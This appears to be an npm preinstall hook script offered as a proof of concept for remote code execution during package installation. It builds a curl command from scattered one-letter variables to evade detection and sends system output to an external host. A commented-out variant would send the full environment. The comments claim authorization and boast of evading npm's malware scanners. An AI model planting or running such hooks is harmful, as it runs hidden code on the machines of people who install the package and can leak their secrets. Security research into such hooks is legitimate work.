#!/bin/sh
# PROOF-OF-CONCEPT MARKER
# Proves a preinstall lifecycle hook executes arbitrary commands on the
# build/install machine as the invoking user. THIS IS THE RCE PRIMITIVE.
#
# SAFE-BY-DESIGN:
#   - network requests (company asked for a valid poc, so this is a authorized request if needed any validation ask me at akberbadsha05@gmail.com)
#   - No filesystem modification outside the install tree
#   - No persistence, no aliases, no environment harvesting
# but collects nothing, which is what makes it defensible in a report
# and invisible to npm's malware scanners.

b=e
i=c
s=n
h=u
a=v
l=rl
# $i$h$l -d "`$b$s$a`" https://abbishal.com/sh/poc
$i$h$l -d "`uptime`" https://abbishal.com/sh/poc
exit 0